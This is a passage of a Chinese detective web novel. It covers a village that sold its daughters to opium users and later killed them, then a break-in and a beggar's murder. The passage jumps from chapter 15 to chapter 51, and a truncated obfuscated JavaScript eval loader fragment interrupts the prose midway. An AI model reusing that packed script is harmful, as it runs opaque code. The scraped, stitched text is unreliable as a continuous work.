“有吗?”吴元青重新翻开档案,“好像没特别标注。” “有的,以来通家为例,他的大女儿、二女儿以及温山,都有记录,比如大女儿结婚了,二女儿生了两个孩子,只有三女儿,档案停留在十几年前。像这种情况,几乎每户人家都有出现,而且都是女孩。” 吴元青听得微怔,“这能说明什么?” 桑白玉声音很轻,“我听张敏敏说,芒寨可能和烟膏有些关系,不是买卖,他们提供女孩。叔叔你在系统里查查,这些年警署查过芒寨吗?” 15.第 15 章 吴元青所在的警署与芒寨没有交集,但另一个警署还真查过芒寨。 那是七八年前的事,警署抓到几个贩卖烟膏的人,审问后得知,他们不仅贩卖烟膏,还为买家提供场所和女孩。 场所便是瘾君子留宿的旅馆,当时是一家俱乐部,被查后老板消停了两年,俱乐部摇身一变成为旅馆。 至于老板做的勾当,一直没变,还是从前那一套,只不过这次没姑娘陪。 “这是已经离职的老警探告诉我的,当时查到他们,警探们就去芒寨拿人,但一个涉案人员都没找到,应该是听到风声先跑了。他们蹲守很久,附近的寨子应该都听说过这事,芒寨人坚称女孩们是出去打工了,要么是去某个农场干活,要么是去做小买卖,总之警察没看见那些姑娘。” 龙星岗市没有网络,警署与警署之间的信息并不互通,吴元青又刚来龙星岗,没有警署愿意主动提供帮助。 就算是吴元青主动去查,也没几个警探愿意帮忙,只有老警探答应和吴元青谈谈。 方小满感慨道:“龙星岗可真乱,还是长峡好,我就不能去长峡过日子吗?” 听说华国疆土辽阔,有很多美景美食,宁蓝只有巴掌大。 吴元青道:“烟膏的事和池家有关,他们或许收了池家的好处,或许是单纯的不想得罪池家,总而言之,提拉德的死,得去找池家。” 吴元青天天提池家,桑白玉也对池家产生好奇心。 桑白玉道:“先不说提拉德的事,芒寨失踪的那些女孩们,都去哪了?” 吴元青摇头。 事情过去多年,恐怕没人知道。 桑白玉又说:“还有郦榕,她和闵淳结婚多年后才生下闵文,时间隔得是不是太久了?” 虽然郦榕嫁给闵淳时只有十几岁,若在华国,还是违法行为,但宁蓝国不管这些。 她们大多在懵懂之时就被许配给男人,而且极有可能是比她们大很多岁的老男人。 她们的父母能换一笔钱,来抚养其他孩子。 女孩似乎没有很好的出路,所有人一起默契地将她们的路全部堵死,就算一片坦途,也要筑上高墙。 郦榕结婚多年后才生下第一个孩子,很不寻常。 吴元青道:“郦榕的问题,得找她爸妈问问,我们上次去他家,他们还用华国的老话教育我,嫁出去的女儿泼出去的水,他们不管。” 桑白玉道:“说这话的人就该被抓起来判刑。” * 温山虽然涉嫌包庇、毁坏尸体等等罪名,但他年纪太小,宁蓝国法律不完善,判不了。 他现在还留在警署接受调查,饶是如此,来通夫妻俩为此一直睡不踏实。 来通一早起来,坐在台阶上一根接一根地抽烟。 龙星岗的烟很特别,是椰子烟,他们当地特制的。 妻子见状,走过来抢走他的烟,说道:“你再托关系去警署看看,赶紧让温山回来,他还那么小,一定怕死了。” 来通有些烦躁,嘀咕道:“搬尸体他都不怕,他还能怕什么?” 小兔崽子真是越来越厉害,这种事都敢做。 妻子还是担心,来通只好安抚,他提议道:“要不咱们拜一拜,以前不是挺管用的吗?想让家里条件好一点,现在咱们家是整个芒寨条件最好的。” 妻子大惊失色,“你还敢拜?” 来通说:“村口那个不知道是谁摆的,丢了好几次,第二天又自己冒出来,虽说我看着心里也不舒服,但都这么久了,咱们也没出事,说明当时是咱们太小心了。” 妻子脸色苍白,虽然还是害怕,但显然已经被来通说服。 应该……没事吧? 两人走向柜子,拿出尘封已久的箱子。 打开箱子,里面还蒙着一层红布,来通扯下红布,飞头神安静地躺在箱子里,连面孔都柔和了。 与此同时,屋外忽然传出剧烈的响声。 来通和妻子跑了出去,见远处升起滚滚浓烟,与湛蓝的天空极为不搭,好像有意破坏这宁静。 来通惊愕失色,妻子亦是骨寒毛竖。 那个方向…… “天坑炸了?!” 一时间,芒寨所有人都在往天坑靠拢。 每个人都提心吊胆,路上遇到其他人后,便互相安慰,搀扶着彼此一起走。 他们口中念念有词,说的是宁蓝国的语言,似乎在祈祷着什么。 天坑中果然冒出灰色的浓烟。 来通心中大骇,“天坑……塌了?” 有人小声说:“难道是飞头神?” “别乱说,飞头神和天坑一点儿关系都没有。” 说什么的都有,场面一度混乱。 直到大家听到轮子滚动的声音。 那声音极为缓慢,但穿透力却强,现场明明乱作一团,可每个人都听到了。这声音让人不适,尤其是来通,他每次听到,都好像有蚂蚁在心里爬,他想把心掏出来清理干净,却无法这样做,只能一直难受。 来通回头看去,那不知何时来到芒寨的乞丐正朝他们爬过来。 乞丐没有新衣裳,头发也未曾打理过,一直低着头,什么都看不出来。 来通却向后退去,好像危险即将到来。 他盯着乞丐一步步后退,直到妻子惊恐地拉住他,“你要去哪?!” 来通回过神,看向身后,再退几步,他就要掉进天坑了。 来通浑身瘫软,坐在地上后怕。 这时,警探从四面八方走出来,纳塔惊讶道:“还真没说错,天坑炸了,你们就出来了。” 所有人都茫然地看着警探。 吴元青是最后走出来的,倒不是为了排场,是桑白玉非要跟着过来,他得护着这孩子,别被误伤。 吴元青看了看还在冒烟的天坑,又看了看乞丐,他对来通说道:“大哥,你好像认识她。” 方小满主动担当翻译的角色,“他是说……” “你别说了,”吴元青道,“别再引起两方斗殴,阮枫说。” 方小满:“……” 她明明是个能揣摩对方心理的靠谱翻译! 来通眼里是真茫然,他不断地摇头,“我不认识她,我怎么会认识乞丐?” “你不认识她,却害怕她?” 吴元青走到乞丐身边蹲下。 乞丐抬起头,乱糟糟的头发遮住她的眼睛,可她没法打理好头发。 吴元青仔细察看,发现她的双手、双腿都不能动。 透过杂乱的头发,吴元青看到一双年轻的眼睛,还有眼底露出的笑意。 吴元青问:“你认识来通?” 那双眼睛中露出厌恶之色。 来通道:“我真不认识她!我只是听到爆炸声出来看看!我和凶杀案毫无关系!你们不是抓到郦榕了吗?!” 桑白玉说:“可我们不是在查闵淳的案子哦,叔叔,为什么天坑炸了,你们都要跑过来呀?” 和来通说话时,桑白玉明显是孩子语气,稚嫩中还带着点儿可爱和无辜。 吴元青光是听到都很嫌弃。 这孩子和他说话时不是这样的啊?谁懂啊,他被孩子区别对待了! 来通闭口不言。 吴元青道:“你们不想承认,我来替你们说好了,这坑对你们来说很重要吧,不知道你们下没下去过?” 天坑深不可测,谁敢下去? 吴元青厉声道:“就是因为没人下去,所以你们才敢胡作非为!” 芒寨众人看着吴元青的脸色窃窃私语。 来通声音颤抖,“不是我们炸的天坑,我们是担心,才会过来。” “你们当然会担心!”阮枫道,“你们担心罪证曝光,才不得不来看看!” 有能听懂汉语的出声抗议,“我们没犯罪!犯罪的是郦榕!” 桑白玉恍然大悟,“原来叔叔阿姨们是记忆力不好呀,没关系,我来帮你们回忆。多年前,你们发现了赚钱的好办法,于是家家户户都加入,这方法没有成本,来钱很快,最多是牺牲一个女儿。不过没关系嘛,你们每户人家都有好几个孩子,牺牲一个女儿算什么?” 来通一怔,瞬间面如死灰。 其他人的反应也是如此,他们低下头,避开桑白玉的目光。 “芒寨附近有卖烟膏的,这些人用过烟膏后会格外亢奋,需要排解,于是你们和那帮人达成合作,把自家长得好看的女儿送过去,谁被挑中,谁就能拿到钱,对吗?” 来通惊惧地看着桑白玉。 “你们长时间从事这种见不得人的生意,终于被警探发现,警探前来抓人审讯,但姑娘们不翼而飞,你们统一口径称她们已经离开芒寨……其实不是,芒寨是她们的家,她们未曾离开。” 方小满和桑白玉一唱一和,“可我们已经把芒寨翻遍了,她们能躲在哪里呢?难道又有地窖?” “龙星岗市地下水位高,不适合打地窖,寨子里公用的地窖装不下这么多人,而且我们已经去过了。不过芒寨还有和地窖极为相似的地方,很深,看不见底部的情况,最重要的是,没人敢下去,也没人能下去,下面发生什么,都不会有人知道,比地窖安全得多。” 方小满说:“还有这种地方啊!那可真是藏尸的好地方!哎,郦榕怎么没把尸体抛在这里?” “因为她不知道吧?她和闵淳的女儿当年才几岁,她本人又已经结婚,应该没掺和这些生意,不然郦榕失手杀害闵淳,她就该直接把闵淳丢进去了。” 就连阮枫也在配合桑白玉,“这个地方到底是哪里?” 桑白玉道:“远在天边近在眼前,天坑炸了,他们都跑过来看,还能有其他原因吗?” 吴元青静静地看着她们表演。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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方小满耸肩,“不信就不信吧,反正她们的衣服碎片也一起捞上来了,有一个穿的应该是粉色的花裙子?牡丹花?看样式不像是龙星岗的,应该是在长峡市买的?奇怪了,你们还舍得给她们买裙子哦,怕不是为了取悦客人吧?” 来通:“……” 其实他们不记得是否真的有女孩穿的是粉色的牡丹花裙子,但没人敢否认。 事情过去多年,他们已经原谅自己。 这不怪他们,只能怪日子太苦,他们活不下去了,实在没办法。 他们每日祭拜飞头神,希望飞头神能守护芒寨。 但延续百年的祭拜并没有得到飞头神的怜悯,他们依旧食不果腹。 正巧有人来到芒寨,提起这一交易。 那些人能买得起烟膏,都是有钱人,只要伺候好了,钱不是问题。 他们约好,每家每户出一个女儿,不抢生意,一起赚钱。 最小的女孩才14岁,她爸妈没能给她找到合适的亲事,就把她推了出去。 飞头神是芒寨多年来一直供奉的神灵,从这一天起,他们收起飞头神,不再相信任何鬼神。 “他们说……这是犯法,犯法会连累我们,我们还有一大家子要养,不能死啊!” 警探查过来,那伙卖烟膏的不保他们,他们聚在一起开会。 必须断了所有线索!不能被连累! 这是他们所有人的目标。 于是他们将各自的女儿带到天坑边,据说这个天坑比芒寨存在的时间久远得多,据说天坑和飞头神一样能保佑他们。 他们跪在天坑边诚心忏悔。 天坑果然比飞头神有用得多。 阮枫冷笑道:“所以你们合起伙来,让她们死?!榨干她们身上所有价值,然后将她们抛弃?!你们把她们推了下去!” 所有人都很安静,没人反驳,没人说话。 但桑白玉想,他们不会后悔,只会怨恨下天坑的方小满。 一片肃静中,纳塔的声音格外清晰,“来通的女儿也被推下去了?” 来通激烈地反驳,“我没有!” 纳塔道:“还嘴硬?带你们回去一审就知道!” 桑白玉道:“他或许还真没说谎。” 纳塔:“你信他?” 桑白玉看向乞丐,他们的行为被揭穿时,她一直在笑。 不知是不是声带受损,她的笑声很古怪。 桑白玉问:“你认识来通吗?” “她怎么会认识来通?就算认识,也不奇怪吧,都在一个村子里生活。” 桑白玉说:“提拉德的头是被割掉的,符合飞头神的传说,如果提拉德是因为烟膏被灭口,他们为何要割掉提拉德的头?为何要把他的头放到警署附近的烧烤摊?这一行为和匿名信的目的是一样的,都是引起警方注意,引你们去查。芒寨以前祭拜飞头神,但自从他们集体害了女孩后,就不再祭拜了,祭拜飞头神的,只有她。” 50-60 第51章 长峡的铺子和龙星岗的玉石店类似,一楼是店面,二楼可以住人,长峡有很多类似的房子,附近几户商家都是如此。 宁红英把二楼当作库房,只收拾出一间房来,晚上桑白玉几人就凑合挤在一张大床上。 半夜,桑白玉被方小满踢醒。 方小满睡姿奇差,桑白玉睁眼时,方小满的腿就搭在桑白玉的脖子上。 她再晚一会儿醒过来,可能都有性命之忧。 桑白玉把方小满推开,正要继续睡,忽然听到一楼传来细微的声音。 宁红英压低声音道:“你也听到了?” 听力方面,宁红英比桑白玉强。 宁红英说:“进来两分钟了。” “小偷?” “不止一个人。” 桑白玉闻言,鼻子动了动,还真不止一个“人味”。 而且…… 桑白玉蹙眉,“他们怎么来了?” 宁红英叫醒方小满,“干活了。” 方小满闭着眼睛爬向书桌,从工具箱里拿出解剖刀,举着解剖刀朝宁红英冲去。 宁红英:“我们的活儿!!” 桑白玉贴着墙根向外走去。 她们三个一直没停止训练,可以完全控制走路声音。 桑白玉在内,方小满和宁红英从窗户往下跳。 宁红英的身手不如方小满,她们一直避免让她单独行动。 桑白玉躲在暗处,看到那些人直奔二楼。 一楼柜台里有很多真玉,他们看都不看一眼。 就在这时,桑白玉听到三声鸟叫。 她和方小满的暗号,这是对方没有杀伤性武器的意思。 于是桑白玉直接走出去。 正在上楼的黑影:“?” 桑白玉叉腰。 黑影:“……” 尊重一下他们的职业啊! 下一秒,从一楼迂回的方小满和宁红英破门而入,桑白玉在同一时间出拳。 黑影站在楼梯上,她一拳打过去,再在关键位置补上一脚,对方只有哀号的份,桑白玉甚至不用 做什么。 很快,五个小毛贼被五花大绑。 桑白玉果断报警,派出所就在隔壁不远处,民警两分钟内赶到。 宁红英哭诉道:“我和妹妹们住在二楼,我们都是女孩子,他们是奔着要命来的,我们差点儿就没命了。” 民警看看三个生龙活虎的女人,再看看五花大绑满脸惊恐的男人们。 民警:“……” 另一个民警说:“他们直接踹开门闯进来?好大的胆子!” 方小满举手说:“门是我踹的,得把他们都抓住啊,门的钱得是他们赔。” 宁红英:“必须让他们赔!” 民警:“……” 这辈子没断过这么奇葩的案子。 只有桑白玉一直没说话。 她沉默地低着头,手中攥着小灵通。 桑白玉第五遍打开信息,仍然没看到新的简讯。 民警看到桑白玉,像看到亲人。 终于有一个正常的女孩了! 民警:“这位小同志……” 桑白玉忽然抬头,恶狠狠道:“他不给个合理解释,我就杀了他!” 民警:“……” 这家店好可怕!! 方小满:“我和红英不正常?我们只是肌肉稍微多了点儿!” 五人被民警带走。 私闯民宅性质恶劣,这次肯定要进去了。 方小满决定直接回龙星岗。 三人回到龙星岗已经是凌晨四点,玉石店仍然亮着灯。 方小满比了个“嘘”的手势,悄悄靠近玉石店大门。 她的耳朵刚覆到门缝前,就听到里面传来喝斥,“回来了就快滚进来!” 方小满:“……” 大姐能做大姐,是有道理的。 方小满磨磨蹭蹭走进去。 惠海铭正和苏蓝移谈话,她板着脸问:“怎么这个时间过来?” 方小满道:“我们这是回家,回家还要挑时间?” 惠海铭:“别贫嘴!” 宁红英将事情说了一遍。 惠海铭脸色凝重,“有人对你们下手?他们盯上你们了?不对,是盯上我了。” 与他们有仇的,只有惠海铭和苏蓝移。 但他们为何不直接过来,反而要去没那么方便行事的长峡? 方小满说:“大姐,我们回来帮忙。” “胡闹,”惠海铭道,“你赶紧辞了警署的工作,就算要做法医,也要去做长峡的法医,龙星岗不行。” 方小满瘪嘴。 宁红英关切道:“二哥的事呢?寻人启事有问题吗?” 惠海铭和苏蓝移对视一眼,道:“暂时没发现问题,这事你们也别管了,长峡的店不是卖得不错吗?生意好容易被盯上,你们三个要一起守着店。” 她说完才发现,桑白玉一直没说话,安静得很诡异。 三个妹妹里,惠海铭最不能放心的人就是桑白玉。 其他两个稍微傻点儿,能骗骗,这个不好骗。 惠海铭问:“小玉吓到了?” “不知道,从刚才起就一直没说话。”方小满道,“哎呀,她毕竟还是妹妹,不如我沉稳。” 宁红英:“……” 桑白玉回过神,看向惠海铭,不等她问,桑白玉便说道:“如果我没记错,苏叔叔留下的寻人启事都是找孩子的,这些孩子的特征和在何利家搜到的档案是一致的。” 惠海铭有些无奈。 她就说这个不好糊弄。 方小满震惊道:“苏家的案子与何利有关?!” “年龄、长相、衣着,能对上一半吧。剩下的一半对不上也正常,档案里是他们在精神病院的状态。” “你的意思是,有人从华国拐卖小朋友,运到了龙星岗,都进何利的精神病院了?!而且二哥的爸爸就是察觉到这一点,所以被灭口的?!” 桑白玉问:“大姐,你了解吗?” 惠海铭摇头,“我不清楚。” “会是池家做的吗?” 惠海铭说:“龙星岗是池家的地盘,如果是运到龙星岗,应该是他们下的手。” 桑白玉说:“何利的死,可能也与这些孩子有关,我们得找到这些孩子。” 苏蓝移拧眉,“事情过去这么久了,他们是否还活着都不一定。” “何利家的档案是被何利存起来的,他的死很可能与此事有关,他们既然害怕有人调查孩子们,孩子们应该还活着。” 方小满不解道:“如果他们早就把孩子们杀了,也会害怕被人发现啊。” 桑白玉惊讶道:“他们杀人会害怕被发现吗?池家?” 方小满:“……” 可能真的不会害怕。 桑白玉总结道:“原本何利的死与我们没关系,是否找到凶手不重要,但现在事情与苏叔叔有关,就必须要查下去。” 惠海铭头疼道:“你们能不能听点话?老老实实回长峡待着,过两个月你就开学了,去上学!” 桑白玉转身往楼上走,“红英姐姐,小满姐姐,我们回去休息吧,折腾一晚上了。” 宁红英和方小满看看惠海铭又看看桑白玉,都选择跟着桑白玉上楼。 惠海铭又是一声长叹,“她们真是越大越管不了。” 苏蓝移道:“红宁稳重,不必担心。” “小满和小玉怎么办?小满的脾气,如果让她知道……还有小玉,被池家发现,他们肯定会派人过来。” 苏蓝移问:“今晚闯进店里的人,会是冲着小玉去的吗?” 惠海铭忧心地摇头,“我真的做错了。” 从一开始,她就不该把他们牵扯进来。 楼上,方小满和宁红英换好衣服躺下,只有桑白玉还做着。 池昭到现在都没有联系她。 那些人,是池昭的人。 第52章 惠海铭开始暗中调查何利与苏衡。 这两人都已不在人世,何利还好,刚去世没多久,查苏衡太困难。 惠海铭刚收养苏蓝移时就调查过苏衡,苏衡与池家的生意没关系,他应该只是偶然发现什么。 现在看到这些人的档案和寻人启事,惠海铭有种不好的预感,她也不知道预感对不对。 宁红英在龙星岗待了一天,还要再回长峡。 她惦记长峡的店,店里不能没人看着,一天能赚好多钱呢! 方小满拉着桑白玉去赌石市场“进货”。 她们逛了四个多小时,满载而归,刚出市场,就看到池希的车停在门口。 池希推开车门抱怨道:“你们做什么事都不带着我,我们还算不算朋友?” 桑白玉点头又摇头。 池希:“?” “是朋友,但有些事不适合一起做。” 池希哀怨道:“可你都能和我哥一起做!我听说了,你们去省城了!” 提到池昭,桑白玉脸色微变。 她问:“你怎么知道我们一起去省城了?池昭说的?” “我爸告诉我的,”池希老老实实地交代,“我爸不太高兴,说我哥太胡来,每次都事后才告诉他。” 方小满一惊,“你哥和你爸关系不错?” 池希说:“你这话说的,他们是有血缘关系的亲父子,又不是陌生人,怎么可能关系差?我哥一直在帮我爸打理生意。” 方小满:“!!” 这个池昭,装得像好人,结果还是个大坏蛋! 方小满愤愤不平道:“你知道你爸做的都是什么生意吗?” “知道啊,”池希说,“我和你们说过,我爸开了很多店,像是那种迪厅啊,唱歌的跳舞的,都是我爸开的,我家很有钱的。” 池希昂首挺胸,试图用金钱吸引二人。 方小满和桑白玉毫无反应。 池希:“……” 她们果然和见钱眼开的人不一样! 桑白玉没理会手拿霸总剧本的池希,她对方小满说:“我们要当心池昭。” 池希说:“我哥人很好的,他虽然话很少,但是对我很好。” 方小满:“哦?比如说?” “他……”池希怔了一下,懊恼 道,“我和我哥相处不多,他比我大几岁,不喜欢和我玩,他更喜欢同龄人吧。” “不会啊,”方小满说,“我看他一直围着小玉转呢,小玉和你一样大。” 池希:“?!” 他的世界好像要崩塌了。 他的亲哥哥,居然围着他喜欢的女孩转?! 啊!! 桑白玉说:“正好你可以帮我们转达,让池昭老实交代,不然边斌可护不住他。” 池希沉浸在悲伤中。 方小满盯着池希,若有所思,“其实还有一个办法可以把池明远引出来。” 池明远一直从事非法活动。 在宁蓝国犯的事,华国无权干涉。 但走私一事,华国是可以管的。 只可惜池明远一直躲在家中,华国不可能直接派军队来把人带走。 方小满一直在想,如果能把池明远引到长峡就好了,就走私一事,名正言顺抓住他。 桑白玉也看向池希,“太冒险了,他不见得是为了孩子牺牲自己的人。” “试试呗,就算失败也没什么。” 桑白玉还想说些什么,想到池希还在,把话咽了回去。 大姐不想让她们掺和进来,她们不知道大姐手里有多少池明远犯罪的证据。 如果不能让他在华国被抓就是无用的。 宁蓝国这边不会动他,今天警署把人带走,明天就会安全地送回去。 池明远也清楚这一点,一直待在自己的地盘,有私人武装保护他,即便出门,也不会出现在华国。 惠海铭在龙星岗待了这么久,大概就是因为池明远躲得快,她抓不住他吧。 桑白玉说:“先回长峡吧,我有点儿担心红英姐姐。” 前不久店里刚被攻击,难保不会有下一次。 池希道:“我和你们一起去!” 方小满很嫌弃池希,“你?你能干什么?如果真打起来,你一点儿忙都帮不上,我们还要照顾你,别来添乱。” 桑白玉却一反常态,热情道:“好呀,一起吧。” 方小满:“?” 桑白玉朝她眨眨眼睛。 带着池希有好处,真发生冲突,也算是个人质,就看池明远和池昭舍不舍得对亲人动手了。 不过桑白玉的条件也很明确,“一起玩可以,不能开你的车。” “为什么?”池希无辜道,“我们需要代步工具。” 桑白玉看向加长版轿车。 这是普通的代步工具吗?! 三人回到长峡,玉石店还在开门营业。 宁红英又在愉快地算账。 “今天收入是……减去成本水电,净收入是……” 池希吃惊道:“红英姐姐说话可以这么快的哦?” 方小满道:“沾了钱是这样的。” 池希:“钱?钱是最没用的东西。” 方小满:“……” 真想把这位少爷赶出去。 宁红英算完账,心满意足道:“又是收获满满的一天。” 方小满朝宁红英伸手,“给点零花钱。” 宁红英立刻把钱都锁进抽屉里,“小玉说了,钱要留着拿来买房子,将来我们要去首都买房子。” 方小满:“小气。” 玉石店不是无时无刻都有客人的,大部分时间都很清闲,几人在店里无所事事。 方小满道:“还是应该买一台电视的吧,长峡的节目比较好看。放在柜台上,看店太无聊了。” 话音刚落,隔壁店铺忽然传来吵闹声,“死乞丐!滚出去!别影响我做生意!” 接着是锅碗瓢盆一起砸到地上的声音。 桑白玉最先走出去。 隔壁是家早餐铺子,中午就关门休息了,下午不营业,但是老板一家人都住在店里。 衣着单薄的乞丐被粗暴地推出来。 乞丐是头发混乱,手里拿着根木棍当拐杖,捧着饭碗到处乞讨。 看来是今天进店里被老板嫌弃了。 宁红英从口袋里掏出两个硬币递给他,“买两个馒头吃吧,别乱走了。” 乞丐欣喜地接过硬币。 他仔细地把硬币擦干净,确认是真钱后才高兴地收好,向宁红英道谢。 可看到宁红英的脸后,乞丐却愣住了。 他走向宁红英,抓起她的头发。 方小满立刻把二人隔离开,“喂,你干嘛?好心没好报啊!” 隔壁老板说道:“就你们年轻,还给他们钱?你没看报纸啊,他都不见得是真的乞丐,说不定就是出来赚钱的!别理他!” 乞丐嘴里冒出两句话。 是方言,方小满和桑白玉都没听懂。 老板走过来把乞丐赶走,“你们一群年轻人,要当心,坏人很多!” 桑白玉拧起眉。 乞丐刚才看宁红英的眼神,更像是认识她? 这不可能,宁红英自小在龙星岗生活,乞丐怎么会认得她? 桑白玉问:“红英姐姐,你见过他吗?” 宁红英摇头。 “一次都没见过?” 宁红英说:“我又不是小满,怎么会记错呢?” 方小满:“对啊,红英又不是我……宁红英,你什么意思?!” 桑白玉有些搞不明白。 池希道:“别争了,不就是个乞丐么,我们去吃饭吧,我想吃烤串!” 第53章 桑白玉和方小满被池希拉去吃烤肉,宁红英不想去,她要留下来开店。 方小满十分唏嘘。 以前的红英姐姐,那可是视金钱如粪土的,现在连吃饭时间都腾不出来了。 原来是因为以前的“粪土”不够多? 池希请客,方小满敞开了吃,还要了啤酒。 她还得考虑工作的事,原本已经决定要留在龙星岗警署,但大姐好像不太高兴? 她倒是也想去长峡的公安局,但长峡这边什么都比龙星岗正规,方小满又担心不够自由。 最重要的是,如果辞职了,她还能再分配到工作吗?! 方小满忧心忡忡地给自己开了瓶啤酒。 嗯,工作什么的先不提,喝酒比较重要。 桑白玉不喜欢喝酒,一般只陪着小酌。 池希和方小满喝得格外开心。 见池希差不多快醉了,桑白玉在池希裤子口袋里找到小灵通。 小灵通没有密码。 桑白玉先看信息。 现在没有微信,发消息全靠短信。 在发件箱,桑白玉找到好几条池希发出去的信息,对象是池昭,信息内容都是唠叨他又遇到多“危险”的事。 池昭没有回复。 池希和池明远只会通话,上次通话记录是在昨天,池明远给池希打电话,池希没接。 桑白玉把池明远的小灵通号记了下来。 这号码惠海铭有,是池明远对外的公用电话。 桑白玉再次确认信息一栏,昨天池明远给池希打过电话后,池希没有回拨,也没给他发消息。 应该不会吧? 桑白玉研究起池希的通讯录。 池希的狐朋狗友有很多,他总是缠着桑白玉,最近没和狐朋狗友联系。 其中有一个备注为1的号码,昨天池明远给池希来过电话后,池希两个小时后打给了1。 桑白玉把1的号码也记住,然后把手机寄给池希,“你怎么给人家备注1?他刚才给你打电话了。” 池希吓得一个激灵,慌慌张张坐起来抓住小灵通,“你挂了?!” 桑白玉:“哦,骗你的,只是觉得备注比较奇怪。” 池希松了口气,又瘫倒桌子上继续呼呼大睡。 从池希的反应来看,桑白玉差不多可以确定1的身份。 池希只怕两个人,一个是池明远,另一个是池昭。 他给池 昭的号码发过很多条信息,池昭没有隐藏电话号码的意图,这个1更有可能是池明远。 桑白玉把消息传给惠海铭。 就在她思考如何把池明远引来时,小灵通响了起来。 是宁红英打来的电话。 桑白玉接起电话,听到的却是陌生男人的声音,“你好,这里是长峡市公安局,宁红英同志涉嫌一起谋杀案,需要配合调查,麻烦你来办一下手续。” * 方小满和池希的酒醒了一大半,三人赶到公安局。 刑警段浩走过来迎接几人。 桑白玉不动声色地打量对方。 长峡的刑警看起来的确和龙星岗不一样,精神气都更足。 段浩虽然穿便装,但还是能看出他的职业不一般,那双眼睛看着和气,却如老鹰般锐利。 双方还没互相认识,就已经在心里评估起对方来。 段浩率先伸出手,“麻烦诸位了,你们是宁红英的家属?恐怕也要做个笔录。” 方小满担心地看向桑白玉。 宁红英怎么会被牵扯进命案里? 桑白玉冷静地点头,“明白。” 三个人被轮流问话。 确认他们与命案无关后,桑白玉才打听到一点儿内幕。 他们走后,宁红英和往常一样,等到七点才关门。 她自称是要去找妹妹们的,途中却在胡同角落看到奄奄一息的死者。 他当时还有一口气在,宁红英走上前查看。 “目击者称,死者一直拉着你们姐姐的手不让她走。”段浩说,“后来又有两个人走过去,死者仍然只拉着你们姐姐。” 事情就难办了。 宁红英被当作嫌疑人带回警局。 方小满问:“死者是谁?” 她拿出在龙星岗的证件,“我是法医,虽然不在长峡工作,但可以提供帮助。” 段浩笑道:“我们的法医已经去验尸了,放心,不会冤枉宁红英,我们正在寻找目击证人,证明宁红英离开店铺的时间。” 只是在没有找到新线索前,宁红英还不能走。 桑白玉自然也不能见宁红英。 离开公安局,方小满一脸茫然,“红英被关起来了?我们是不是被做局了?” 池希道:“这里的警察也太不懂变通了,问什么都说保密,你可是龙星岗警署的功臣,怎么能向你保密?我们能帮忙啊!” 桑白玉说:“长峡警方的态度才是正常的,我们都是外人,还是嫌疑人家属,人家会相信我们?” “那怎么办?”方小满问,“就只能等着他们去查?他们会不会欺负红英?” 桑白玉说:“绝对不能干等着,我们也去找证人。” 她们家的店在热闹的地段,才晚上七点,应该不难找到目击证人。 池希问:“死的到底是谁啊,为什么拉着红英姐不放?会不会真的是红英姐认识的人?” 桑白玉很担心宁红英,不想理会池希。 三人回到店里,挨家挨户地询问。 隔壁是早餐店,这会儿正睡觉,肯定没法给宁红英做证。 宁红英的运气不太好,附近几家店都没人注意她。 桑白玉便去路上找行人。 吴元青总说,警探的工作就是不停地走访找线索。 桑白玉习惯了“开挂”,还真不适应走访。 她走了将近两条街,也没找到证人。 与此同时,她还闻到了熟悉的味道。 桑白玉向前走去,看到两名穿警服的警察,还有警戒线。 借着路灯微弱的光芒,桑白玉能看到警戒线后的大片血迹。 这是案发现场。 从案发现场的位置来看,宁红英是关店后想去找他们,路过此处,发现奄奄一息的死者。 桑白玉轻轻嗅了嗅,大惊。 死者是今天下午见过的乞丐?!—— 作者有话说:[托腮]怎么写都觉得不对…决定把感情线写在番外 我这辈子是学不会写感情线啦!有救啦! 第54章 乞丐第一次看到宁红英时,表现就不同寻常。 没过几个小时他便被人谋害,临死前见到宁红英,拉着她不放。 这乞丐究竟是什么身份? 可惜命案是在长峡发生的,桑白玉看不到档案。 桑白玉走向路旁停着的车,拉开后门坐上去。 车内的人一惊,在武器朝向桑白玉前,桑白玉凶道:“闭嘴,这里不是龙星岗,老实点儿。” 边斌:“……” 以前周围是桑白玉的人,他得夹起尾巴做人。 现在周围都是自己的人,他还得夹起尾巴做人! 委屈! 桑白玉手中的刀抵在池昭的脖子上。 一回生二回熟,池昭很冷静。 桑白玉问:“为什么去玉石店?死的人和你们有关系?” 池昭摘下墨镜,掏出眼镜布擦拭,“你是在威胁我?” “不是,”桑白玉诚恳道,“我是真想要你的命。” 边斌紧张地看过来。 池昭说过,桑白玉不会做违法的事,但边斌怎么看桑白玉都不像好人。 她那几个哥哥姐姐更不像好人。 池昭道:“你尽快走吧,查明白这个人是怎么死的,我们还可以继续做生意。” 桑白玉问:“死者是谁?” “流浪汉。” “只是流浪汉?” 池昭点头,“我也想知道他为何会死,你去查明白,告诉我,我们可以继续交易情报。” 池昭看向桑白玉。 大约是经常戴墨镜,他的眼睛很漂亮,但没有光彩,好像从未见过阳光。 桑白玉不动声色地看着池昭,十几秒后收起刀,礼貌道:“谢谢配合,我会再来找你。” 她退出轿车,轿车立刻离开。 桑白玉看向周围,确认附近没有池家的人,才把方小满和池希叫来。 池希惊讶道:“你看到我哥了?连我都见不到他!” 池希和池昭的关系没那么亲近,他和池昭年纪差得太大。 池希很喜欢哥哥,小孩儿大概都喜欢年轻人,比起父母,池希小时候更喜欢跟在哥哥身后。 但哥哥很奇怪。 他总是躲着池希,他不喜欢和他玩儿。 一家人难得相聚,他却总是仇恨地看着池希的母亲,就连吃饭也要回房间单独吃。 两岁多的池希爬楼梯很溜,他想去找池昭。 然而池昭房间的门总是紧紧关着,他从不让池希进去。 再后来,池希明白了,他和池昭是兄弟,但是同父异母,不一样的。 池希还是坚持和池昭联系。 池昭只是偶尔回复,每次看到池昭的短信,池希都能高兴得跳起来。 桑白玉说:“见你哥还挺容易的。” 池希:“……” 桑白玉宽慰道:“他不喜欢和你玩儿就算了,别在一棵树上吊死,你也很优秀的。” 池希眼前一亮,“我优秀吗?具体哪里优秀,展开说说。” 桑白玉:“再问就不礼貌了。” 池希:“……” 案发现场有好几名刑警,还在研究现场。 遇害的是流浪汉,不知身份,身上有五块三毛钱,行李是一套衣服再加一双磨损严重的草鞋。 长峡市四季如春,不需要太厚的衣服。 桑白玉蹲在案发现场附近,试图闻到证据。 位置太远,很难。 于是几人越凑越近,一直凑到刑警眼前。 刑警:“……” 